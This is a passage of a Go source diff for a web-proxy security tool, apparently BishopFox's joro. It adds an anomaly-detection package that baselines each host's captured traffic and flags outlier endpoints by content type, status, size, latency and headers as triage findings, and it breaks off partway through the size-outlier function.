// buildFinding maps a confirmed match to a detect.Finding in detect's identity
|
||||
// space, deduped per signature, host and path.
|
||||
func buildFinding(host, origin, path, sentURL string, sig Signature, evidence string) detect.Finding {
|
||||
now := time.Now()
|
||||
u := sentURL
|
||||
if u == "" {
|
||||
u = strings.TrimRight(origin, "/") + path
|
||||
}
|
||||
detail := sig.Name
|
||||
if sig.NucleiID != "" {
|
||||
detail = sig.NucleiID + ": " + sig.Name
|
||||
}
|
||||
return detect.Finding{
|
||||
ID: detect.FindingID(sig.ID, host, path),
|
||||
RuleID: findingRule,
|
||||
RuleName: sig.Name,
|
||||
Category: detect.CategoryTemplate,
|
||||
Severity: mapSeverity(sig.Severity),
|
||||
Confidence: confidenceFor(sig),
|
||||
Target: detect.TargetMessage,
|
||||
Host: host,
|
||||
Method: requestMethod(sig),
|
||||
URL: u,
|
||||
Detail: detail,
|
||||
Evidence: evidence,
|
||||
FirstSeen: now,
|
||||
LastSeen: now,
|
||||
EvidenceOffset: -1,
|
||||
}
|
||||
}
|
||||
|
||||
func requestMethod(sig Signature) string {
|
||||
if len(sig.Requests) > 0 && sig.Requests[0].Method != "" {
|
||||
return strings.ToUpper(sig.Requests[0].Method)
|
||||
}
|
||||
return "GET"
|
||||
}
|
||||
|
||||
// mapSeverity converts a nuclei severity string to a detect.Severity, defaulting
|
||||
// to info for an unknown value.
|
||||
func mapSeverity(s string) detect.Severity {
|
||||
switch strings.ToLower(strings.TrimSpace(s)) {
|
||||
case "critical":
|
||||
return detect.SeverityCritical
|
||||
case "high":
|
||||
return detect.SeverityHigh
|
||||
case "medium":
|
||||
return detect.SeverityMedium
|
||||
case "low":
|
||||
return detect.SeverityLow
|
||||
default:
|
||||
return detect.SeverityInfo
|
||||
}
|
||||
}
|
||||
|
||||
// Confidence is the finding confidence a match of this signature carries, for the
|
||||
// catalog UI. It is the same value buildFinding files.
|
||||
func (sig Signature) Confidence() detect.Confidence { return confidenceFor(sig) }
|
||||
|
||||
// confidenceFor estimates confidence from matcher strength: a regex or a
|
||||
// multi-term/status-qualified match is high; a lone word is medium; a bare status
|
||||
// match is low. Nuclei carries no confidence of its own.
|
||||
func confidenceFor(sig Signature) detect.Confidence {
|
||||
hasRegex, words, hasStatus, nonStatus := false, 0, false, false
|
||||
for _, req := range sig.Requests {
|
||||
for _, m := range req.Matchers {
|
||||
switch m.Type {
|
||||
case "regex":
|
||||
hasRegex = true
|
||||
nonStatus = true
|
||||
case "word":
|
||||
words += len(m.Words)
|
||||
nonStatus = true
|
||||
case "status":
|
||||
hasStatus = true
|
||||
case "size":
|
||||
nonStatus = true
|
||||
}
|
||||
}
|
||||
}
|
||||
switch {
|
||||
case hasRegex || (hasStatus && nonStatus) || words > 1:
|
||||
return detect.ConfidenceHigh
|
||||
case words == 1 || nonStatus:
|
||||
return detect.ConfidenceMedium
|
||||
default:
|
||||
return detect.ConfidenceLow
|
||||
}
|
||||
}
|
||||
|
||||
// originPath splits an absolute URL into its path+query, for rendering.
|
||||
func originPath(raw string) string {
|
||||
u, err := url.Parse(raw)
|
||||
if err != nil || u.Path == "" {
|
||||
return raw
|
||||
}
|
||||
if u.RawQuery != "" {
|
||||
return u.Path + "?" + u.RawQuery
|
||||
}
|
||||
return u.Path
|
||||
}
|
||||
@@ -0,0 +1,280 @@
|
||||
// Package anomaly finds endpoints that don't look like anything else on their
|
||||
// host — the lone JSON handler in an HTML app, a single 200 among 403s, an
|
||||
// unusually large or slow response, a rare extension or parameter, an endpoint
|
||||
// exposing a framework header the rest of the host does not. It is a triage aid
|
||||
// that points attention at what to pursue, not a vulnerability claim.
|
||||
//
|
||||
// It is a separate package from internal/detect on purpose. The detect engine's
|
||||
// three load-bearing properties — it judges one message at a time, its analyzers
|
||||
// hold no state, and its Upsert keying makes rescans byte-for-byte idempotent —
|
||||
// are exactly what an outlier question cannot honor. "Is this endpoint unlike
|
||||
// its siblings?" is answered against a per-host baseline: shared, mutable state
|
||||
// whose verdict depends on how much traffic has been seen. Computing it inside
|
||||
// the detect engine would break the fan-out and the idempotent rescan both.
|
||||
//
|
||||
// So the computation lives here and only the *results* land in detect: this
|
||||
// package mints detect.Findings under CategoryAnomaly through detect.FindingID
|
||||
// and detect.Store.Upsert — the same path internal/capreg uses for agent-reported
|
||||
// findings — which gives the anomaly findings the Detect table, triage,
|
||||
// project persistence, the dashboard widget, triggers and webhooks for free.
|
||||
//
|
||||
// The engine runs on its own interval (not the proxy request path), maintains an
|
||||
// incremental per-capture record cache keyed by sequence number, rebuilds
|
||||
// baselines each cycle, upserts the current outliers, and retracts findings that
|
||||
// are no longer outliers — but never a finding the operator has triaged (marked
|
||||
// a false positive or noted), mirroring how detect's own purge preserves those.
|
||||
package anomaly
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
// cycleInterval is how often baselines are rebuilt. Longer than detect's live
|
||||
// tick because this is a whole-host recompute, not a per-capture scan.
|
||||
const cycleInterval = 20 * time.Second
|
||||
|
||||
// batchSize bounds one SinceSeq pull during intake.
|
||||
const batchSize = 500
|
||||
|
||||
// Engine owns the record cache and the set of anomaly findings it manages.
|
||||
type Engine struct {
|
||||
store *proxy.Store
|
||||
scope *proxy.Scope
|
||||
findings *detect.Store
|
||||
config func() detect.Config
|
||||
broadcast chan<- any
|
||||
notify func() // called after a cycle changes the store, to push detect.summary
|
||||
|
||||
mu sync.Mutex
|
||||
records map[int]*record
|
||||
cursor int
|
||||
// managed maps a finding ID this engine owns to the signature (severity +
|
||||
// evidence) last emitted for it, so a cycle re-emits only what changed and
|
||||
// knows exactly which findings to reconcile.
|
||||
managed map[string]string
|
||||
}
|
||||
|
||||
// NewEngine constructs the engine. config is read every cycle so a live toggle
|
||||
// or sensitivity change takes effect without a restart; notify pushes the
|
||||
// aggregate detect.summary (it needs the detect engine's rule-enabled predicate,
|
||||
// which lives in the API layer).
|
||||
func NewEngine(store *proxy.Store, scope *proxy.Scope, findings *detect.Store, config func() detect.Config, broadcast chan<- any, notify func()) *Engine {
|
||||
return &Engine{
|
||||
store: store,
|
||||
scope: scope,
|
||||
findings: findings,
|
||||
config: config,
|
||||
broadcast: broadcast,
|
||||
notify: notify,
|
||||
records: map[int]*record{},
|
||||
managed: map[string]string{},
|
||||
}
|
||||
}
|
||||
|
||||
// Run rebuilds baselines on an interval until ctx is cancelled, mirroring the
|
||||
// detect scanner's loop.
|
||||
func (e *Engine) Run(ctx context.Context) {
|
||||
t := time.NewTicker(cycleInterval)
|
||||
defer t.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-t.C:
|
||||
e.RunCycle()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ResetCursor is called wherever proxy.Store rewrites its sequence numbering
|
||||
// (Clear zeroes it, a project load rewrites it), the same obligation the detect
|
||||
// scanner's cursor has. It drops the record cache: a rewrite invalidates the
|
||||
// seq keys the cache is built on.
|
||||
func (e *Engine) ResetCursor(seq int) {
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
e.cursor = seq
|
||||
e.records = map[int]*record{}
|
||||
}
|
||||
|
||||
// RunCycle performs one intake-and-analyze pass. Exported so a test or a manual
|
||||
// trigger can drive it without the ticker.
|
||||
func (e *Engine) RunCycle() {
|
||||
cfg := e.config()
|
||||
if !cfg.AnomalyEnabled {
|
||||
e.retractAll()
|
||||
return
|
||||
}
|
||||
e.intake()
|
||||
e.analyze(cfg)
|
||||
}
|
||||
|
||||
// intake fingerprints captures newer than the cursor into the record cache and
|
||||
// drops records whose sequence numbers have been evicted from the store.
|
||||
func (e *Engine) intake() {
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
|
||||
if e.store.Count() == 0 {
|
||||
e.records = map[int]*record{}
|
||||
return
|
||||
}
|
||||
if oldest := e.store.SinceSeq(0, 1); len(oldest) == 1 {
|
||||
minSeq := oldest[0].Seq
|
||||
for seq := range e.records {
|
||||
if seq < minSeq {
|
||||
delete(e.records, seq)
|
||||
}
|
||||
}
|
||||
}
|
||||
for {
|
||||
batch := e.store.SinceSeq(e.cursor, batchSize)
|
||||
if len(batch) == 0 {
|
||||
break
|
||||
}
|
||||
for _, cr := range batch {
|
||||
if cr.Seq > e.cursor {
|
||||
e.cursor = cr.Seq
|
||||
}
|
||||
if r := buildRecord(cr); r != nil {
|
||||
e.records[r.seq] = r
|
||||
}
|
||||
}
|
||||
if len(batch) < batchSize {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// analyze groups the cached records by host, runs the signals, and commits.
|
||||
func (e *Engine) analyze(cfg detect.Config) {
|
||||
e.mu.Lock()
|
||||
recs := make([]*record, 0, len(e.records))
|
||||
for _, r := range e.records {
|
||||
recs = append(recs, r)
|
||||
}
|
||||
prev := e.managed
|
||||
e.mu.Unlock()
|
||||
|
||||
th := thresholdsFor(cfg.AnomalySensitivity)
|
||||
byHost := map[string][]*record{}
|
||||
for _, r := range recs {
|
||||
if cfg.ScopeOnly && !e.scope.InScope(r.host, r.method, r.rawPath) {
|
||||
continue
|
||||
}
|
||||
if hostExcluded(r.host, cfg.ExcludeHosts) {
|
||||
continue
|
||||
}
|
||||
byHost[r.host] = append(byHost[r.host], r)
|
||||
}
|
||||
|
||||
var cands []detect.Finding
|
||||
for host, hr := range byHost {
|
||||
cands = append(cands, analyzeHost(host, hr, th)...)
|
||||
}
|
||||
e.commit(cands, prev)
|
||||
}
|
||||
|
||||
// commit upserts the current outliers, emits what is new or changed, and retracts
|
||||
// managed findings no longer present unless the operator has triaged them.
|
||||
func (e *Engine) commit(cands []detect.Finding, prev map[string]string) {
|
||||
next := make(map[string]string, len(cands))
|
||||
changed := false
|
||||
for _, f := range cands {
|
||||
sig := string(f.Severity) + "|" + f.Evidence
|
||||
next[f.ID] = sig
|
||||
// Unchanged since last cycle: leave the store untouched. Every Upsert
|
||||
// bumps the findings-store revision, which detectSignature folds into the
|
||||
// autosave fingerprint, so re-writing a steady finding each cycle would
|
||||
// force a project save every 20s for no reason.
|
||||
if prev[f.ID] == sig {
|
||||
continue
|
||||
}
|
||||
stored, isNew := e.findings.Upsert(f)
|
||||
if isNew {
|
||||
changed = true
|
||||
}
|
||||
e.emit(*stored, isNew)
|
||||
}
|
||||
for id := range prev {
|
||||
if _, still := next[id]; still {
|
||||
continue
|
||||
}
|
||||
f, ok := e.findings.Get(id)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if f.FalsePositive || strings.TrimSpace(f.Notes) != "" {
|
||||
continue // keep triaged findings; stop managing them
|
||||
}
|
||||
if e.findings.Delete(id) {
|
||||
changed = true
|
||||
}
|
||||
}
|
||||
|
||||
e.mu.Lock()
|
||||
e.managed = next
|
||||
e.mu.Unlock()
|
||||
|
||||
if changed && e.notify != nil {
|
||||
e.notify()
|
||||
}
|
||||
}
|
||||
|
||||
// retractAll drops every managed finding (except triaged ones) when the feature
|
||||
// is turned off. The record cache is kept so a re-enable is cheap.
|
||||
func (e *Engine) retractAll() {
|
||||
e.mu.Lock()
|
||||
prev := e.managed
|
||||
e.managed = map[string]string{}
|
||||
e.mu.Unlock()
|
||||
if len(prev) == 0 {
|
||||
return
|
||||
}
|
||||
changed := false
|
||||
for id := range prev {
|
||||
f, ok := e.findings.Get(id)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if f.FalsePositive || strings.TrimSpace(f.Notes) != "" {
|
||||
continue
|
||||
}
|
||||
if e.findings.Delete(id) {
|
||||
changed = true
|
||||
}
|
||||
}
|
||||
if changed && e.notify != nil {
|
||||
e.notify()
|
||||
}
|
||||
}
|
||||
|
||||
func (e *Engine) emit(f detect.Finding, isNew bool) {
|
||||
if e.broadcast == nil {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case e.broadcast <- event.WSEvent{
|
||||
Type: "detect.finding",
|
||||
Data: map[string]any{"finding": f, "isNew": isNew},
|
||||
}:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
// hostExcluded mirrors the detect engine's substring host exclusion.
|
||||
func hostExcluded(host string, exclude []string) bool {
|
||||
for _, ex := range exclude {
|
||||
if ex != "" && strings.Contains(host, ex) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
package anomaly
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var (
|
||||
numSegRe = regexp.MustCompile(`^\d+$`)
|
||||
uuidSegRe = regexp.MustCompile(`(?i)^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$`)
|
||||
hexSegRe = regexp.MustCompile(`(?i)^[0-9a-f]{16,}$`)
|
||||
opaqueRe = regexp.MustCompile(`^[A-Za-z0-9_\-]+$`)
|
||||
digitRe = regexp.MustCompile(`\d`)
|
||||
)
|
||||
|
||||
// normalizePath folds volatile path segments to {id} so that /users/1 and
|
||||
// /users/2 collapse to a single endpoint. Without it every record with an
|
||||
// embedded identifier is its own endpoint and no per-endpoint baseline forms.
|
||||
func normalizePath(p string) string {
|
||||
if p == "" || p == "/" {
|
||||
return "/"
|
||||
}
|
||||
segs := strings.Split(p, "/")
|
||||
for i, s := range segs {
|
||||
if s == "" {
|
||||
continue
|
||||
}
|
||||
segs[i] = normalizeSeg(s)
|
||||
}
|
||||
return strings.Join(segs, "/")
|
||||
}
|
||||
|
||||
func normalizeSeg(s string) string {
|
||||
switch {
|
||||
case numSegRe.MatchString(s):
|
||||
return "{id}"
|
||||
case uuidSegRe.MatchString(s):
|
||||
return "{id}"
|
||||
case hexSegRe.MatchString(s):
|
||||
return "{id}"
|
||||
case len(s) >= 24 && opaqueRe.MatchString(s) && digitRe.MatchString(s):
|
||||
// A long token carrying both letters and digits: a session id, a signed
|
||||
// value, a slug with an embedded id. Opaque enough to template.
|
||||
return "{id}"
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// pathExt returns the lowercase file extension of the last path segment, or ""
|
||||
// when there is none. It reads the raw path, not the templated one, so a
|
||||
// templated trailing segment ({id}) yields no extension.
|
||||
func pathExt(p string) string {
|
||||
if p == "" {
|
||||
return ""
|
||||
}
|
||||
seg := p
|
||||
if i := strings.LastIndexByte(p, '/'); i >= 0 {
|
||||
seg = p[i+1:]
|
||||
}
|
||||
dot := strings.LastIndexByte(seg, '.')
|
||||
if dot <= 0 || dot == len(seg)-1 {
|
||||
return ""
|
||||
}
|
||||
ext := strings.ToLower(seg[dot+1:])
|
||||
if len(ext) > 8 || !opaqueRe.MatchString(ext) {
|
||||
return ""
|
||||
}
|
||||
return ext
|
||||
}
|
||||
|
||||
// majorCT strips parameters from a Content-Type, leaving "type/subtype".
|
||||
func majorCT(ct string) string {
|
||||
ct = strings.ToLower(strings.TrimSpace(ct))
|
||||
if i := strings.IndexByte(ct, ';'); i >= 0 {
|
||||
ct = strings.TrimSpace(ct[:i])
|
||||
}
|
||||
return ct
|
||||
}
|
||||
|
||||
// statusClass maps a status code to its hundreds band (2, 3, 4, 5), or 0.
|
||||
func statusClass(code int) int {
|
||||
if code < 100 || code >= 600 {
|
||||
return 0
|
||||
}
|
||||
return code / 100
|
||||
}
|
||||
|
||||
// commonWebExt are extensions ordinary enough that their rarity on a host is not
|
||||
// interesting. A rare extension outside this set (.bak, .sql, .old, .zip) is.
|
||||
var commonWebExt = map[string]struct{}{
|
||||
"html": {}, "htm": {}, "php": {}, "asp": {}, "aspx": {}, "jsp": {},
|
||||
"js": {}, "css": {}, "json": {}, "xml": {}, "txt": {}, "svg": {},
|
||||
"png": {}, "jpg": {}, "jpeg": {}, "gif": {}, "webp": {}, "ico": {},
|
||||
"woff": {}, "woff2": {}, "ttf": {}, "map": {},
|
||||
}
|
||||
@@ -0,0 +1,161 @@
|
||||
package anomaly
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"net/url"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
// record is the light, immutable per-capture summary the baselines are built
|
||||
// from. One is computed per captured request the first time its sequence number
|
||||
// is seen, then cached — response fingerprinting is the expensive step and a
|
||||
// capture never changes after it is stored.
|
||||
type record struct {
|
||||
seq int
|
||||
host string
|
||||
method string
|
||||
rawPath string
|
||||
norm string // templated path (the endpoint key component)
|
||||
url string // full URL of this capture, for the representative request
|
||||
reqID string
|
||||
ts int64 // unix nanos of capture, for picking the most recent
|
||||
|
||||
statusClass int
|
||||
majorCT string
|
||||
size int
|
||||
durMs int64
|
||||
hasDur bool
|
||||
|
||||
params []string // sorted query parameter names
|
||||
ext string
|
||||
tech string // X-Powered-By if present, else Server token
|
||||
authScheme string // first token of WWW-Authenticate, lowercased
|
||||
cookieNames []string // Set-Cookie names on this response
|
||||
}
|
||||
|
||||
// buildRecord summarizes one capture, or returns nil for a capture that must not
|
||||
// enter a baseline: WebSocket upgrades (101) and the synthetic 502 the proxy
|
||||
// stores for an upstream dial failure, both of which would distort a host's
|
||||
// status and shape distributions.
|
||||
func buildRecord(cr *proxy.CapturedRequest) *record {
|
||||
if cr.Host == "" {
|
||||
return nil
|
||||
}
|
||||
if cr.StatusCode == 101 {
|
||||
return nil
|
||||
}
|
||||
if cr.StatusCode == 502 && isUpstreamError(cr.RespRaw) {
|
||||
return nil
|
||||
}
|
||||
|
||||
durMs := cr.Duration.Milliseconds()
|
||||
fp := httptools.FingerprintResponse(cr.Seq, cr.RespRaw, durMs, false)
|
||||
|
||||
status := fp.Status
|
||||
if status == 0 {
|
||||
status = cr.StatusCode
|
||||
}
|
||||
ct := fp.CT
|
||||
if ct == "" {
|
||||
ct = cr.ContentType
|
||||
}
|
||||
|
||||
var rawPath string
|
||||
var params []string
|
||||
if u, err := url.Parse(cr.URL); err == nil {
|
||||
rawPath = u.Path
|
||||
for k := range u.Query() {
|
||||
params = append(params, k)
|
||||
}
|
||||
sort.Strings(params)
|
||||
}
|
||||
|
||||
tech, authScheme, cookies := parseRespHeaders(cr.RespRaw)
|
||||
if tech == "" {
|
||||
tech = fp.Server
|
||||
}
|
||||
|
||||
return &record{
|
||||
seq: cr.Seq,
|
||||
host: cr.Host,
|
||||
method: strings.ToUpper(cr.Method),
|
||||
rawPath: rawPath,
|
||||
norm: normalizePath(rawPath),
|
||||
url: cr.URL,
|
||||
reqID: cr.ID,
|
||||
ts: cr.Timestamp.UnixNano(),
|
||||
statusClass: statusClass(status),
|
||||
majorCT: majorCT(ct),
|
||||
size: fp.Len,
|
||||
durMs: durMs,
|
||||
hasDur: durMs > 0,
|
||||
params: params,
|
||||
ext: pathExt(rawPath),
|
||||
tech: strings.ToLower(tech),
|
||||
authScheme: authScheme,
|
||||
cookieNames: cookies,
|
||||
}
|
||||
}
|
||||
|
||||
// isUpstreamError matches the body buildUpstreamErrorCapture writes for a failed
|
||||
// upstream dial. Kept in sync with that helper by shape, not import.
|
||||
func isUpstreamError(raw []byte) bool {
|
||||
i := bytes.Index(raw, []byte("\r\n\r\n"))
|
||||
if i < 0 {
|
||||
return false
|
||||
}
|
||||
return bytes.HasPrefix(bytes.TrimLeft(raw[i+4:], " \t\r\n"), []byte("upstream error:"))
|
||||
}
|
||||
|
||||
// parseRespHeaders pulls the few headers the tech and header/auth signals need
|
||||
// out of a raw response, without a full HTTP parse: the framework token
|
||||
// (X-Powered-By, else the Server product), the auth scheme, and Set-Cookie
|
||||
// names.
|
||||
func parseRespHeaders(raw []byte) (tech, authScheme string, cookies []string) {
|
||||
end := bytes.Index(raw, []byte("\r\n\r\n"))
|
||||
if end < 0 {
|
||||
end = len(raw)
|
||||
}
|
||||
var server string
|
||||
for _, line := range bytes.Split(raw[:end], []byte("\r\n")) {
|
||||
c := bytes.IndexByte(line, ':')
|
||||
if c <= 0 {
|
||||
continue
|
||||
}
|
||||
name := strings.ToLower(strings.TrimSpace(string(line[:c])))
|
||||
val := strings.TrimSpace(string(line[c+1:]))
|
||||
switch name {
|
||||
case "x-powered-by":
|
||||
if tech == "" {
|
||||
tech = firstToken(val)
|
||||
}
|
||||
case "server":
|
||||
server = firstToken(val)
|
||||
case "www-authenticate":
|
||||
if authScheme == "" {
|
||||
authScheme = strings.ToLower(firstToken(val))
|
||||
}
|
||||
case "set-cookie":
|
||||
if eq := strings.IndexByte(val, '='); eq > 0 {
|
||||
cookies = append(cookies, strings.TrimSpace(val[:eq]))
|
||||
}
|
||||
}
|
||||
}
|
||||
if tech == "" {
|
||||
tech = server
|
||||
}
|
||||
return tech, authScheme, cookies
|
||||
}
|
||||
|
||||
// firstToken returns the value up to the first space, tab, or semicolon, so
|
||||
// "Apache/2.4.7 (Ubuntu)" becomes "Apache/2.4.7".
|
||||
func firstToken(s string) string {
|
||||
if i := strings.IndexAny(s, " \t;,"); i > 0 {
|
||||
return s[:i]
|
||||
}
|
||||
return s
|
||||
}
|
||||
@@ -0,0 +1,376 @@
|
||||
package anomaly
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
)
|
||||
|
||||
// Signal rule IDs. Each is a stable synthetic RuleID so a finding's identity
|
||||
// (FindingID(ruleID, host, endpointKey)) is deterministic and dedups across
|
||||
// cycles. They are not engine rules; handleGetFinding returns rule:null for
|
||||
// them and the UI reads Detail instead.
|
||||
const (
|
||||
ruleShape = "anomaly.shape"
|
||||
ruleSize = "anomaly.size"
|
||||
ruleLatency = "anomaly.latency"
|
||||
ruleStructure = "anomaly.structure"
|
||||
ruleHeader = "anomaly.header"
|
||||
)
|
||||
|
||||
var ruleNames = map[string]string{
|
||||
ruleShape: "Response-shape outlier",
|
||||
ruleSize: "Response-size outlier",
|
||||
ruleLatency: "Latency outlier",
|
||||
ruleStructure: "Structural outlier",
|
||||
ruleHeader: "Header / tech outlier",
|
||||
}
|
||||
|
||||
// thresholds tune how stark an outlier must be to report. Sensitivity selects a
|
||||
// set; see thresholdsFor.
|
||||
type thresholds struct {
|
||||
minEndpoints int // host needs at least this many endpoints for any signal
|
||||
minMetric int // endpoints with a numeric metric before size/latency run
|
||||
rareFrac float64 // a category on fewer than this fraction of endpoints is rare
|
||||
dominateFrac float64 // the modal category must cover at least this to call others out
|
||||
zThresh float64 // robust-z magnitude to flag a size/latency outlier
|
||||
}
|
||||
|
||||
func thresholdsFor(sens string) thresholds {
|
||||
switch sens {
|
||||
case "low":
|
||||
return thresholds{minEndpoints: 12, minMetric: 12, rareFrac: 0.05, dominateFrac: 0.75, zThresh: 4.5}
|
||||
case "high":
|
||||
return thresholds{minEndpoints: 5, minMetric: 6, rareFrac: 0.15, dominateFrac: 0.55, zThresh: 3.0}
|
||||
default: // medium
|
||||
return thresholds{minEndpoints: 8, minMetric: 8, rareFrac: 0.10, dominateFrac: 0.65, zThresh: 3.5}
|
||||
}
|
||||
}
|
||||
|
||||
// endpoint aggregates the records that share one host+method+templated-path.
|
||||
type endpoint struct {
|
||||
key string // "METHOD /norm/path" — the finding's group dimension
|
||||
host string
|
||||
method string
|
||||
norm string
|
||||
n int
|
||||
repTS int64
|
||||
repReqID string
|
||||
repURL string
|
||||
repMeth string
|
||||
|
||||
ctCount map[string]int
|
||||
statusCount map[int]int
|
||||
sizes []float64
|
||||
durs []float64
|
||||
params map[string]struct{}
|
||||
ext string
|
||||
techCount map[string]int
|
||||
authCount map[string]int
|
||||
}
|
||||
|
||||
func (ep *endpoint) add(r *record) {
|
||||
ep.n++
|
||||
if r.ts >= ep.repTS {
|
||||
ep.repTS = r.ts
|
||||
ep.repReqID = r.reqID
|
||||
ep.repURL = r.url
|
||||
ep.repMeth = r.method
|
||||
}
|
||||
if r.majorCT != "" {
|
||||
ep.ctCount[r.majorCT]++
|
||||
}
|
||||
if r.statusClass != 0 {
|
||||
ep.statusCount[r.statusClass]++
|
||||
}
|
||||
ep.sizes = append(ep.sizes, float64(r.size))
|
||||
if r.hasDur {
|
||||
ep.durs = append(ep.durs, float64(r.durMs))
|
||||
}
|
||||
for _, p := range r.params {
|
||||
ep.params[p] = struct{}{}
|
||||
}
|
||||
if r.ext != "" {
|
||||
ep.ext = r.ext
|
||||
}
|
||||
if r.tech != "" {
|
||||
ep.techCount[r.tech]++
|
||||
}
|
||||
if r.authScheme != "" {
|
||||
ep.authCount[r.authScheme]++
|
||||
}
|
||||
}
|
||||
|
||||
func (ep *endpoint) modalCT() string { s, _ := modalStr(ep.ctCount); return s }
|
||||
func (ep *endpoint) modalStatus() int { s, _ := modalInt(ep.statusCount); return s }
|
||||
func (ep *endpoint) modalTech() string { s, _ := modalStr(ep.techCount); return s }
|
||||
func (ep *endpoint) modalAuth() string { s, _ := modalStr(ep.authCount); return s }
|
||||
func (ep *endpoint) medianSize() float64 { return median(ep.sizes) }
|
||||
func (ep *endpoint) medianDur() float64 { return median(ep.durs) }
|
||||
|
||||
// analyzeHost groups a host's records into endpoints and runs every signal,
|
||||
// returning the anomaly findings for that host. Below the endpoint floor it
|
||||
// returns nothing: with too few endpoints, everything looks like an outlier.
|
||||
func analyzeHost(host string, recs []*record, th thresholds) []detect.Finding {
|
||||
byKey := map[string]*endpoint{}
|
||||
for _, r := range recs {
|
||||
key := r.method + " " + r.norm
|
||||
ep := byKey[key]
|
||||
if ep == nil {
|
||||
ep = &endpoint{
|
||||
key: key, host: host, method: r.method, norm: r.norm,
|
||||
ctCount: map[string]int{}, statusCount: map[int]int{},
|
||||
params: map[string]struct{}{}, techCount: map[string]int{},
|
||||
authCount: map[string]int{},
|
||||
}
|
||||
byKey[key] = ep
|
||||
}
|
||||
ep.add(r)
|
||||
}
|
||||
|
||||
eps := make([]*endpoint, 0, len(byKey))
|
||||
for _, ep := range byKey {
|
||||
eps = append(eps, ep)
|
||||
}
|
||||
if len(eps) < th.minEndpoints {
|
||||
return nil
|
||||
}
|
||||
// Deterministic order so findings emit stably.
|
||||
sort.Slice(eps, func(i, j int) bool { return eps[i].key < eps[j].key })
|
||||
|
||||
// reasons accumulates one detail string per (ruleID, endpoint) so, e.g., a
|
||||
// shape outlier tripping on both content-type and status is one finding.
|
||||
type fkey struct {
|
||||
rule string
|
||||
ep *endpoint
|
||||
}
|
||||
reasons := map[fkey][]string{}
|
||||
strong := map[fkey]bool{}
|
||||
add := func(rule string, ep *endpoint, isStrong bool, msg string) {
|
||||
k := fkey{rule, ep}
|
||||
reasons[k] = append(reasons[k], msg)
|
||||
if isStrong {
|
||||
strong[k] = true
|
||||
}
|
||||
}
|
||||
|
||||
shapeSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleShape, ep, s, msg) })
|
||||
sizeSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleSize, ep, s, msg) })
|
||||
latencySignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleLatency, ep, s, msg) })
|
||||
structureSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleStructure, ep, s, msg) })
|
||||
headerSignal(eps, th, func(ep *endpoint, s bool, msg string) { add(ruleHeader, ep, s, msg) })
|
||||
|
||||
out := make([]detect.Finding, 0, len(reasons))
|
||||
for k, msgs := range reasons {
|
||||
sev := detect.SeverityInfo
|
||||
conf := detect.ConfidenceLow
|
||||
if strong[k] {
|
||||
sev = detect.SeverityLow
|
||||
conf = detect.ConfidenceMedium
|
||||
}
|
||||
out = append(out, k.ep.finding(k.rule, strings.Join(msgs, "; "), sev, conf))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// shapeSignal flags an endpoint whose modal content-type or status class differs
|
||||
// from a host that is otherwise dominated by one value.
|
||||
func shapeSignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
|
||||
n := len(eps)
|
||||
ctFreq := map[string]int{}
|
||||
stFreq := map[int]int{}
|
||||
for _, ep := range eps {
|
||||
if ct := ep.modalCT(); ct != "" {
|
||||
ctFreq[ct]++
|
||||
}
|
||||
if st := ep.modalStatus(); st != 0 {
|
||||
stFreq[st]++
|
||||
}
|
||||
}
|
||||
domCT, domCTn := modalStr(ctFreq)
|
||||
domST, domSTn := modalInt(stFreq)
|
||||
ctDominates := domCT != "" && float64(domCTn)/float64(n) >= th.dominateFrac
|
||||
stDominates := domST != 0 && float64(domSTn)/float64(n) >= th.dominateFrac
|
||||
|
||||
for _, ep := range eps {
|
||||
ct := ep.modalCT()
|
||||
if ctDominates && ct != "" && ct != domCT && frac(ctFreq[ct], n) < th.rareFrac {
|
||||
strong := ctFreq[ct] == 1
|
||||
emit(ep, strong, fmt.Sprintf("content-type %s; host is mostly %s (%d/%d endpoints)", ct, domCT, ctFreq[ct], n))
|
||||
}
|
||||
st := ep.modalStatus()
|
||||
if stDominates && st != 0 && st != domST && frac(stFreq[st], n) < th.rareFrac {
|
||||
strong := stFreq[st] == 1
|
||||
emit(ep, strong, fmt.Sprintf("status %dxx; host is mostly %dxx (%d/%d endpoints)", st, domST, stFreq[st], n))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// sizeSignal flags an endpoint whose median response size is a robust-z outlier
|
||||
// among the host's per-endpoint medians.
|
||||
func sizeSignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
|
||||
var meds []float64
|
||||
var have []*endpoint
|
||||
for _, ep := range eps {
|
||||
if len(ep.sizes) == 0 {
|
||||
continue
|
||||
}
|
||||
